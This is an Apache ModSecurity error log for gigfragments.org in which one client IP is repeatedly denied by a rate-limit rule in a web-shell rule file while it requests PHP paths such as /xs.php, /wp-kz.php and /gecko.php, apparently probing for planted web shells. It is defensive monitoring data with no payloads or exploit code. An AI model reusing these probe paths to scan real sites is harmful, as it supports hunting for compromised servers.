[Sat May 16 05:08:52.172024 2026] [:error] [pid 24867:tid 24895] [client 20.195.182.164:24379] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ageLZCDgFLCgyKq-zmbl7wAAAA4"]
[Sat May 16 05:08:52.828486 2026] [:error] [pid 24867:tid 24900] [client 20.195.182.164:21158] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "ageLZCDgFLCgyKq-zmbl8QAAABM"]
[Sat May 16 05:08:53.970823 2026] [:error] [pid 5602:tid 5614] [client 20.195.182.164:19493] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ageLZdzTTsu77r3UIsmrwwAAAQo"]
[Sat May 16 05:08:55.000754 2026] [:error] [pid 24979:tid 24990] [client 20.195.182.164:3417] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ageLZrvSFUQiwLaOL2oe-wAAAMk"]
[Sat May 16 05:09:15.302023 2026] [:error] [pid 24979:tid 24997] [client 20.195.182.164:23611] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ageLe7vSFUQiwLaOL2ofFwAAANA"]
[Sat May 16 05:09:16.027949 2026] [:error] [pid 24867:tid 24894] [client 20.195.182.164:27423] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ageLfCDgFLCgyKq-zmbl_AAAAA0"]
[Sat May 16 05:09:16.966972 2026] [:error] [pid 24979:tid 25001] [client 20.195.182.164:20960] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ageLfLvSFUQiwLaOL2ofGgAAANQ"]
[Sat May 16 05:09:17.735903 2026] [:error] [pid 24869:tid 24915] [client 20.195.182.164:26169] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yuzuru1.php"] [unique_id "ageLfexo3FMprMltYl745QAAAEc"]
[Sat May 16 05:09:18.423661 2026] [:error] [pid 24979:tid 24981] [client 20.195.182.164:4323] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ageLfrvSFUQiwLaOL2ofHQAAAMA"]
[Sat May 16 05:09:19.661139 2026] [:error] [pid 24874:tid 24953] [client 20.195.182.164:25164] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ageLf8iii6x3XidYGHGTCwAAAJI"]
[Sat May 16 05:09:20.598691 2026] [:error] [pid 24869:tid 24917] [client 20.195.182.164:3816] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ageLgOxo3FMprMltYl746AAAAEk"]
[Sat May 16 05:09:21.385179 2026] [:error] [pid 24869:tid 24920] [client 20.195.182.164:21331] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/insta.php"] [unique_id "ageLgexo3FMprMltYl746gAAAEw"]
[Sat May 16 05:09:22.110696 2026] [:error] [pid 5602:tid 5623] [client 20.195.182.164:26112] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ageLgtzTTsu77r3UIsmr1QAAARM"]
[Sat May 16 05:09:22.739982 2026] [:error] [pid 5602:tid 5605] [client 20.195.182.164:26123] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ageLgtzTTsu77r3UIsmr2QAAAQE"]
[Sat May 16 05:09:23.498932 2026] [:error] [pid 5602:tid 5626] [client 20.195.182.164:2070] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ageLg9zTTsu77r3UIsmr2gAAARY"]
[Sat May 16 05:09:24.255432 2026] [:error] [pid 5602:tid 5622] [client 20.195.182.164:17954] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kz.php"] [unique_id "ageLhNzTTsu77r3UIsmr2wAAARI"]
[Sat May 16 05:09:25.190080 2026] [:error] [pid 5602:tid 5617] [client 20.195.182.164:17154] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "ageLhdzTTsu77r3UIsmr3AAAAQ0"]
[Sat May 16 05:09:25.876586 2026] [:error] [pid 24979:tid 24988] [client 20.195.182.164:11300] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "ageLhbvSFUQiwLaOL2ofKAAAAMc"]
[Sat May 16 05:09:26.496567 2026] [:error] [pid 24874:tid 24940] [client 20.195.182.164:17174] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "ageLhsiii6x3XidYGHGTEwAAAIU"]
[Sat May 16 05:09:27.274805 2026] [:error] [pid 24874:tid 24947] [client 20.195.182.164:3779] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xs.php"] [unique_id "ageLh8iii6x3XidYGHGTFAAAAIw"]
[Sat May 16 05:09:28.078737 2026] [:error] [pid 5602:tid 5618] [client 20.195.182.164:26133] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ageLiNzTTsu77r3UIsmr3wAAAQ4"]
[Sat May 16 05:09:29.108645 2026] [:error] [pid 24869:tid 24919] [client 20.195.182.164:6569] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ageLiexo3FMprMltYl749wAAAEs"]
[Sat May 16 05:09:31.636460 2026] [:error] [pid 5602:tid 5623] [client 20.195.182.164:25199] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ageLi9zTTsu77r3UIsmr6gAAARM"]
[Sat May 16 05:09:32.290659 2026] [:error] [pid 5602:tid 5619] [client 20.195.182.164:20990] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ageLjNzTTsu77r3UIsmr8gAAAQ8"]
[Sat May 16 05:09:33.050035 2026] [:error] [pid 5602:tid 5606] [client 20.195.182.164:13890] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ageLjdzTTsu77r3UIsmr-gAAAQI"]
[Sat May 16 05:09:33.810386 2026] [:error] [pid 24874:tid 24936] [client 20.195.182.164:25088] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ageLjciii6x3XidYGHGTGAAAAIE"]
[Sat May 16 05:09:34.486883 2026] [:error] [pid 5602:tid 5615] [client 20.195.182.164:13908] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ageLjtzTTsu77r3UIsmr_gAAAQs"]
[Sat May 16 05:09:35.151277 2026] [:error] [pid 24979:tid 24982] [client 20.195.182.164:18701] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ageLj7vSFUQiwLaOL2ofMAAAAME"]
[Sat May 16 05:09:35.776043 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:17970] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ageLj9zTTsu77r3UIsmsBgAAAQA"]
[Sat May 16 05:09:36.568544 2026] [:error] [pid 5602:tid 5611] [client 20.195.182.164:5096] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ageLkNzTTsu77r3UIsmsCwAAAQc"]
[Sat May 16 05:09:37.390599 2026] [:error] [pid 24867:tid 24887] [client 20.195.182.164:27380] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ageLkSDgFLCgyKq-zmbmAgAAAAY"]
[Sat May 16 05:09:38.103103 2026] [:error] [pid 24979:tid 25000] [client 20.195.182.164:18750] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ageLkrvSFUQiwLaOL2ofNgAAANM"]
[Sat May 16 05:09:38.748455 2026] [:error] [pid 24867:tid 24896] [client 20.195.182.164:25213] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ageLkiDgFLCgyKq-zmbmBQAAAA8"]
[Sat May 16 05:09:39.448507 2026] [:error] [pid 24979:tid 24998] [client 20.195.182.164:4597] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ageLk7vSFUQiwLaOL2ofOQAAANE"]
[Sat May 16 05:09:40.266757 2026] [:error] [pid 24874:tid 24957] [client 20.195.182.164:19758] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ageLlMiii6x3XidYGHGTGwAAAJY"]
[Sat May 16 05:09:41.233507 2026] [:error] [pid 5602:tid 5606] [client 20.195.182.164:1923] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ageLldzTTsu77r3UIsmsDQAAAQI"]
[Sat May 16 05:09:43.629047 2026] [:error] [pid 5602:tid 5614] [client 20.195.182.164:5084] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ageLl9zTTsu77r3UIsmsEAAAAQo"]
[Sat May 16 05:09:45.004778 2026] [:error] [pid 5602:tid 5620] [client 20.195.182.164:6837] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ageLmdzTTsu77r3UIsmsEgAAARA"]
[Sat May 16 05:09:47.480022 2026] [:error] [pid 24867:tid 24900] [client 20.195.182.164:6588] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ageLmyDgFLCgyKq-zmbmDQAAABM"]
[Sat May 16 05:09:48.863903 2026] [:error] [pid 24869:tid 24923] [client 20.195.182.164:25149] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ageLnOxo3FMprMltYl75AQAAAE8"]
[Sat May 16 05:09:49.778734 2026] [:error] [pid 24867:tid 24882] [client 20.195.182.164:14882] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ageLnSDgFLCgyKq-zmbmEAAAAAE"]
[Sat May 16 05:09:50.586609 2026] [:error] [pid 24867:tid 24883] [client 20.195.182.164:1924] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ageLniDgFLCgyKq-zmbmEgAAAAI"]
[Sat May 16 05:09:51.328024 2026] [:error] [pid 24979:tid 25000] [client 20.195.182.164:18472] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ageLn7vSFUQiwLaOL2ofQQAAANM"]
[Sat May 16 05:09:52.032208 2026] [:error] [pid 24869:tid 24908] [client 20.195.182.164:21340] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "ageLoOxo3FMprMltYl75BAAAAEA"]
[Sat May 16 05:09:52.726060 2026] [:error] [pid 24979:tid 24995] [client 20.195.182.164:18444] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "ageLoLvSFUQiwLaOL2ofRAAAAM4"]
[Sat May 16 05:09:53.541192 2026] [:error] [pid 24869:tid 24931] [client 20.195.182.164:25094] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "ageLoexo3FMprMltYl75BgAAAFc"]
[Sat May 16 05:09:54.232975 2026] [:error] [pid 24874:tid 24959] [client 20.195.182.164:14848] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "ageLosiii6x3XidYGHGTJgAAAJg"]
[Sat May 16 05:09:55.095457 2026] [:error] [pid 24867:tid 24896] [client 20.195.182.164:4588] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "ageLoyDgFLCgyKq-zmbmFQAAAA8"]
[Sat May 16 05:09:56.304582 2026] [:error] [pid 24867:tid 24893] [client 20.195.182.164:21356] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxml.php"] [unique_id "ageLpCDgFLCgyKq-zmbmFgAAAAw"]
[Sat May 16 05:09:57.426142 2026] [:error] [pid 24874:tid 24953] [client 20.195.182.164:6799] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxml.php"] [unique_id "ageLpciii6x3XidYGHGTKwAAAJI"]
[Sat May 16 05:09:58.237457 2026] [:error] [pid 24979:tid 24999] [client 20.195.182.164:25174] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxml.php"] [unique_id "ageLprvSFUQiwLaOL2ofUAAAANI"]
[Sat May 16 05:09:59.355040 2026] [:error] [pid 24979:tid 24993] [client 20.195.182.164:19747] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpxml.php"] [unique_id "ageLp7vSFUQiwLaOL2ofUgAAAMw"]
[Sat May 16 05:10:00.749048 2026] [:error] [pid 24874:tid 24943] [client 20.195.182.164:5101] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ageLqMiii6x3XidYGHGTLgAAAIg"]
[Sat May 16 05:10:02.274886 2026] [:error] [pid 24979:tid 24981] [client 20.195.182.164:14895] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ageLqrvSFUQiwLaOL2ofVgAAAMA"]
[Sat May 16 05:10:05.529607 2026] [:error] [pid 5602:tid 5625] [client 20.195.182.164:24138] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ageLrdzTTsu77r3UIsmsGwAAARU"]
[Sat May 16 05:10:06.983956 2026] [:error] [pid 24867:tid 24890] [client 20.195.182.164:27413] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zo.php"] [unique_id "ageLriDgFLCgyKq-zmbmGgAAAAk"]
[Sat May 16 05:10:07.881364 2026] [:error] [pid 24979:tid 25005] [client 20.195.182.164:24154] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ageLr7vSFUQiwLaOL2ofWAAAANg"]
